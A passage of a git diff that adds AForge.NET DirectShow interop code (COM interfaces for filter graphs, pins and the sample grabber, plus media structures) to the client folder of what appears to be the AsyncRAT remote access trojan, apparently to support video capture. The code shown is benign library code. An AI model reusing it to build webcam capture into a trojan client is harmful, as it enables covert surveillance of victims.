Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs new file mode 100644 index 0000000..c6ba357 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs @@ -0,0 +1,118 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for controlling the flow of data through the filter graph. + /// It includes methods for running, pausing, and stopping the graph. + /// + /// + [ComImport, + Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaControl + { + /// + /// Runs all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( ); + + /// + /// Pauses all filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Stops all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Retrieves the state of the filter graph. + /// + /// + /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. + /// Ìariable that receives a member of the FILTER_STATE enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int timeout, out int filterState ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Name of the file to render + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( string fileName ); + + /// + /// Adds a source filter to the filter graph, for a specified file. + /// + /// + /// Name of the file containing the source video. + /// Receives interface of filter information object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo ); + + /// + /// Retrieves a collection of the filters in the filter graph. + /// + /// + /// Receives the IAMCollection interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_FilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Retrieves a collection of all the filters listed in the registry. + /// + /// + /// Receives the IDispatch interface of IAMCollection object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_RegFilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int StopWhenReady( ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs new file mode 100644 index 0000000..d01bee8 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs @@ -0,0 +1,126 @@ +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface inherits contains methods for retrieving event notifications and for overriding the + /// filter graph's default handling of events. + /// + [ComVisible( true ), ComImport, + Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaEventEx + { + /// + /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. + /// + /// Pointer to a variable that receives the event handle. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEventHandle( out IntPtr hEvent ); + + /// + /// Retrieves the next event notification from the event queue. + /// + /// + /// Variable that receives the event code. + /// Pointer to a variable that receives the first event parameter. + /// Pointer to a variable that receives the second event parameter. + /// Time-out interval, in milliseconds. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout ); + + /// + /// Waits for the filter graph to render all available data. + /// + /// + /// Time-out interval, in milliseconds. Pass zero to return immediately. + /// Pointer to a variable that receives an event code. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int WaitForCompletion( int msTimeout, [Out] out int pEvCode ); + + /// + /// Cancels the Filter Graph Manager's default handling for a specified event. + /// + /// + /// Event code for which to cancel default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CancelDefaultHandling( int lEvCode ); + + /// + /// Restores the Filter Graph Manager's default handling for a specified event. + /// + /// Event code for which to restore default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RestoreDefaultHandling( int lEvCode ); + + /// + /// Frees resources associated with the parameters of an event. + /// + /// Event code. + /// First event parameter. + /// Second event parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 ); + + /// + /// Registers a window to process event notifications. + /// + /// + /// Handle to the window, or to stop receiving event messages. + /// Window message to be passed as the notification. + /// Value to be passed as the lParam parameter for the lMsg message. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData ); + + /// + /// Enables or disables event notifications. + /// + /// + /// Value indicating whether to enable or disable event notifications. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyFlags( int lNoNotifyFlags ); + + /// + /// Determines whether event notifications are enabled. + /// + /// + /// Variable that receives current notification status. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNotifyFlags( out int lplNoNotifyFlags ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs new file mode 100644 index 0000000..ceed73f --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs @@ -0,0 +1,191 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is exposed by all input and output pins of DirectShow filters. + /// + /// + [ComImport, + Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPin + { + /// + /// Connects the pin to another pin. + /// + /// + /// Other pin to connect to. + /// Type to use for the connections (optional). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Makes a connection to this pin and is called by a connecting pin. + /// + /// + /// Connecting pin. + /// Media type of the samples to be streamed. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the current pin connection. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( ); + + /// + /// Returns a pointer to the connecting pin. + /// + /// + /// Receives IPin interface of connected pin (if any). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectedTo( [Out] out IPin pin ); + + /// + /// Returns the media type of this pin's connection. + /// + /// + /// Pointer to an structure. If the pin is connected, + /// the media type is returned. Otherwise, the structure is initialized to a default state in which + /// all elements are 0, with the exception of lSampleSize, which is set to 1, and + /// FixedSizeSamples, which is set to true. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves information about this pin (for example, the name, owning filter, and direction). + /// + /// + /// structure that receives the pin information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryPinInfo( [Out] out PinInfo pinInfo ); + + /// + /// Retrieves the direction for this pin. + /// + /// + /// Receives direction of the pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryDirection( out PinDirection pinDirection ); + + /// + /// Retrieves an identifier for the pin. + /// + /// + /// Pin identifier. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id ); + + /// + /// Queries whether a given media type is acceptable by the pin. + /// + /// + /// structure that specifies the media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Provides an enumerator for this pin's preferred media types. + /// + /// + /// Address of a variable that receives a pointer to the IEnumMediaTypes interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumMediaTypes( IntPtr enumerator ); + + /// + /// Provides an array of the pins to which this pin internally connects. + /// + /// + /// Address of an array of IPin pointers. + /// On input, specifies the size of the array. When the method returns, + /// the value is set to the number of pointers returned in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin ); + + /// + /// Notifies the pin that no additional data is expected. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndOfStream( ); + + /// + /// Begins a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BeginFlush( ); + + /// + /// Ends a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndFlush( ); + + /// + /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. + /// + /// + /// Start time of the segment, relative to the original source, in 100-nanosecond units. + /// End time of the segment, relative to the original source, in 100-nanosecond units. + /// Rate at which this segment should be processed, as a percentage of the original rate. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int NewSegment( + long start, + long stop, + double rate ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs new file mode 100644 index 0000000..faea69d --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs @@ -0,0 +1,53 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IPropertyBag interface provides an object with a property bag in + /// which the object can persistently save its properties. + /// + /// + [ComImport, + Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPropertyBag + { + /// + /// Read a property from property bag. + /// + /// + /// Property name to read. + /// Property value. + /// Caller's error log. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Read( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar, + [In] IntPtr pErrorLog ); + + /// + /// Write property to property bag. + /// + /// + /// Property name to read. + /// Property value. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Write( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, MarshalAs( UnmanagedType.Struct )] ref object pVar ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs new file mode 100644 index 0000000..cb0328f --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs @@ -0,0 +1,87 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2010 +// andrew.kirillov@gmail.com +// +// Written by Jeremy Noring +// kidjan@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IReferenceClock interface provides the reference time for the filter graph. + /// + /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. + /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to + /// retrieve the current reference time, or to request notification of an elapsed time. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IReferenceClock + { + /// + /// The GetTime method retrieves the current reference time. + /// + /// + /// Pointer to a variable that receives the current time, in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetTime( [Out] out long pTime ); + + /// + /// The AdviseTime method creates a one-shot advise request. + /// + /// + /// Base reference time, in 100-nanosecond units. See Remarks. + /// Stream offset time, in 100-nanosecond units. See Remarks. + /// Handle to an event, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdviseTime( + [In] long baseTime, + [In] long streamTime, + [In] IntPtr hEvent, + [Out] out int pdwAdviseCookie ); + + /// + /// The AdvisePeriodic method creates a periodic advise request. + /// + /// + /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. + /// Time between notifications, in 100-nanosecond units. Must be greater than zero. + /// Handle to a semaphore, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdvisePeriodic( + [In] long startTime, + [In] long periodTime, + [In] IntPtr hSemaphore, + [Out] out int pdwAdviseCookie ); + + /// + /// The Unadvise method removes a pending advise request. + /// + /// + /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Unadvise( [In] int dwAdviseCookie ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs new file mode 100644 index 0000000..07854ac --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs @@ -0,0 +1,103 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve + /// individual media samples as they move through the filter graph. + /// + /// + [ComImport, + Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabber + { + /// + /// Specifies whether the filter should stop the graph after receiving one sample. + /// + /// + /// Boolean value specifying whether the filter should stop the graph after receiving one sample. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot ); + + /// + /// Specifies the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// Specifies the required media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// structure, which receives media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Specifies whether to copy sample data into a buffer as it goes through the filter. + /// + /// + /// Boolean value specifying whether to buffer sample data. + /// If true, the filter copies sample data into an internal buffer. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem ); + + /// + /// Retrieves a copy of the sample that the filter received most recently. + /// + /// + /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. + /// Pointer to a buffer to receive a copy of the sample, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentBuffer( ref int bufferSize, IntPtr buffer ); + + /// + /// Not currently implemented. + /// + /// + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentSample( IntPtr sample ); + + /// + /// Specifies a callback method to call on incoming samples. + /// + /// + /// interface containing the callback method, or NULL to cancel the callback. + /// Index specifying the callback method. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs new file mode 100644 index 0000000..4dc7340 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides callback methods for the method. + /// + /// + [ComImport, + Guid("0579154A-2B53-4994-B0D0-E773148EFF85"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabberCB + { + /// + /// Callback method that receives a pointer to the media sample. + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to the sample's IMediaSample interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SampleCB( double sampleTime, IntPtr sample ); + + /// + /// Callback method that receives a pointer to the sample bufferþ + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to a buffer that contains the sample data. + /// Length of the buffer pointed to by buffer, in bytes + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs new file mode 100644 index 0000000..ecb0739 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs @@ -0,0 +1,36 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface indicates that an object supports property pages. + /// + /// + [ComImport, + Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ISpecifyPropertyPages + { + /// + /// Fills a counted array of GUID values where each GUID specifies the + /// CLSID of each property page that can be displayed in the property + /// sheet for this object. + /// + /// + /// Pointer to a CAUUID structure that must be initialized + /// and filled before returning. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetPages( out CAUUID pPages ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs new file mode 100644 index 0000000..530283c --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs @@ -0,0 +1,518 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Drawing; + + // PIN_DIRECTION + + /// + /// This enumeration indicates a pin's direction. + /// + /// + [ComVisible( false )] + internal enum PinDirection + { + /// + /// Input pin. + /// + Input, + + /// + /// Output pin. + /// + Output + } + + // AM_MEDIA_TYPE + + /// + /// The structure describes the format of a media sample. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal class AMMediaType : IDisposable + { + /// + /// Globally unique identifier (GUID) that specifies the major type of the media sample. + /// + public Guid MajorType; + + /// + /// GUID that specifies the subtype of the media sample. + /// + public Guid SubType; + + /// + /// If true, samples are of a fixed size. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool FixedSizeSamples = true; + + /// + /// If true, samples are compressed using temporal (interframe) compression. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool TemporalCompression; + + /// + /// Size of the sample in bytes. For compressed data, the value can be zero. + /// + public int SampleSize = 1; + + /// + /// GUID that specifies the structure used for the format block. + /// + public Guid FormatType; + + /// + /// Not used. + /// + public IntPtr unkPtr; + + /// + /// Size of the format block, in bytes. + /// + public int FormatSize; + + /// + /// Pointer to the format block. + /// + public IntPtr FormatPtr; + + /// + /// Destroys the instance of the class. + /// + /// + ~AMMediaType( ) + { + Dispose( false ); + } + + /// + /// Dispose the object. + /// + /// + public void Dispose( ) + { + Dispose( true ); + // remove me from the Finalization queue + GC.SuppressFinalize( this ); + } + + /// + /// Dispose the object + /// + /// + /// Indicates if disposing was initiated manually. + /// + protected virtual void Dispose( bool disposing ) + { + if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) ) + { + Marshal.FreeCoTaskMem( FormatPtr ); + FormatSize = 0; + } + + if ( unkPtr != IntPtr.Zero ) + { + Marshal.Release( unkPtr ); + unkPtr = IntPtr.Zero; + } + } + } + + + // PIN_INFO + + /// + /// The structure contains information about a pin. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct PinInfo + { + /// + /// Owning filter. + /// + public IBaseFilter Filter; + + /// + /// Direction of the pin. + /// + public PinDirection Direction; + + /// + /// Name of the pin. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + } + + // FILTER_INFO + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct FilterInfo + { + /// + /// Filter's name. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + + /// + /// Owning graph. + /// + public IFilterGraph FilterGraph; + } + + // VIDEOINFOHEADER + + /// + /// The structure describes the bitmap and color information for a video image. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + // VIDEOINFOHEADER2 + + /// + /// The structure describes the bitmap and color information for a video image (v2). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader2 + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// Flags that specify how the video is interlaced. + /// + public int InterlaceFlags; + + /// + /// Flag set to indicate that the duplication of the stream should be restricted. + /// + public int CopyProtectFlags; + + /// + /// The X dimension of picture aspect ratio. + /// + public int PictAspectRatioX; + + /// + /// The Y dimension of picture aspect ratio. + /// + public int PictAspectRatioY; + + /// + /// Reserved for future use. + /// + public int Reserved1; + + /// + /// Reserved for future use. + /// + public int Reserved2; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + /// + /// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 2 )] + internal struct BitmapInfoHeader + { + /// + /// Specifies the number of bytes required by the structure. + /// + public int Size; + + /// + /// Specifies the width of the bitmap. + /// + public int Width; + + /// + /// Specifies the height of the bitmap, in pixels. + /// + public int Height; + + /// + /// Specifies the number of planes for the target device. This value must be set to 1. + /// + public short Planes; + + /// + /// Specifies the number of bits per pixel. + /// + public short BitCount; + + /// + /// If the bitmap is compressed, this member is a FOURCC the specifies the compression. + /// + public int Compression; + + /// + /// Specifies the size, in bytes, of the image. + /// + public int ImageSize; + + /// + /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. + /// + public int XPelsPerMeter; + + /// + /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. + /// + public int YPelsPerMeter; + + /// + /// Specifies the number of color indices in the color table that are actually used by the bitmap. + /// + public int ColorsUsed; + + /// + /// Specifies the number of color indices that are considered important for displaying the bitmap. + /// + public int ColorsImportant; + } + + // RECT + + /// + /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct RECT + { + /// + /// Specifies the x-coordinate of the upper-left corner of the rectangle. + /// + public int Left; + + /// + /// Specifies the y-coordinate of the upper-left corner of the rectangle. + /// + public int Top; + + /// + /// Specifies the x-coordinate of the lower-right corner of the rectangle. + /// + public int Right; + + /// + /// Specifies the y-coordinate of the lower-right corner of the rectangle. + /// + public int Bottom; + } + + // CAUUID + + /// + /// The CAUUID structure is a Counted Array of UUID or GUID types. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct CAUUID + { + /// + /// Size of the array pointed to by pElems. + /// + public int cElems; + + /// + /// Pointer to an array of UUID values, each of which specifies UUID. + /// + public IntPtr pElems; + + /// + /// Performs manual marshaling of pElems to retrieve an array of Guid objects. + /// + /// + /// A managed representation of pElems. + /// + public Guid[] ToGuidArray( ) + { + Guid[] retval = new Guid[cElems]; + + for ( int i = 0; i < cElems; i++ ) + { + IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) ); + retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) ); + } + + return retval; + } + } + + /// + /// Enumeration of DirectShow event codes. + /// + internal enum DsEvCode + { + None, + Complete = 0x01, // EC_COMPLETE + DeviceLost = 0x1F, // EC_DEVICE_LOST + //(...) not yet interested in other events + } + + [Flags, ComVisible( false )] + internal enum AnalogVideoStandard + { + None = 0x00000000, // This is a digital sensor + NTSC_M = 0x00000001, // 75 IRE Setup + NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup + NTSC_433 = 0x00000004, + PAL_B = 0x00000010, + PAL_D = 0x00000020, + PAL_G = 0x00000040, + PAL_H = 0x00000080, + PAL_I = 0x00000100, + PAL_M = 0x00000200, + PAL_N = 0x00000400, + PAL_60 = 0x00000800, + SECAM_B = 0x00001000, + SECAM_D = 0x00002000, + SECAM_G = 0x00004000, + SECAM_H = 0x00008000, + SECAM_K = 0x00010000, + SECAM_K1 = 0x00020000, + SECAM_L = 0x00040000, + SECAM_L1 = 0x00080000, + PAL_N_COMBO = 0x00100000 // Argentina + } + + [Flags, ComVisible( false )] + internal enum VideoControlFlags + { + FlipHorizontal = 0x0001, + FlipVertical = 0x0002, + ExternalTriggerEnable = 0x0004, + Trigger = 0x0008 + } + + [StructLayout( LayoutKind.Sequential ), ComVisible( false )] + internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS + { + public Guid Guid; + public AnalogVideoStandard VideoStandard; + public Size InputSize; + public Size MinCroppingSize; + public Size MaxCroppingSize; + public int CropGranularityX; + public int CropGranularityY; + public int CropAlignX; + public int CropAlignY; + public Size MinOutputSize; + public Size MaxOutputSize; + public int OutputGranularityX; + public int OutputGranularityY; + public int StretchTapsX; + public int StretchTapsY; + public int ShrinkTapsX; + public int ShrinkTapsY; + public long MinFrameInterval; + public long MaxFrameInterval; + public int MinBitsPerSecond; + public int MaxBitsPerSecond; + } + + /// + /// Specifies a filter's state or the state of the filter graph. + /// + internal enum FilterState + { + /// + /// Stopped. The filter is not processing data. + /// + State_Stopped, + + /// + /// Paused. The filter is processing data, but not rendering it. + /// + State_Paused, + + /// + /// Running. The filter is processing and rendering data. + /// + State_Running + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs new file mode 100644 index 0000000..8dc1874 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs @@ -0,0 +1,299 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow class IDs. + /// + [ComVisible( false 